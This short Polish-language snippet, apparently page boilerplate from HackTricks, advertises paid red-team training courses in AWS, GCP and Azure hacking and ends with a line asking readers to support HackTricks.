Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks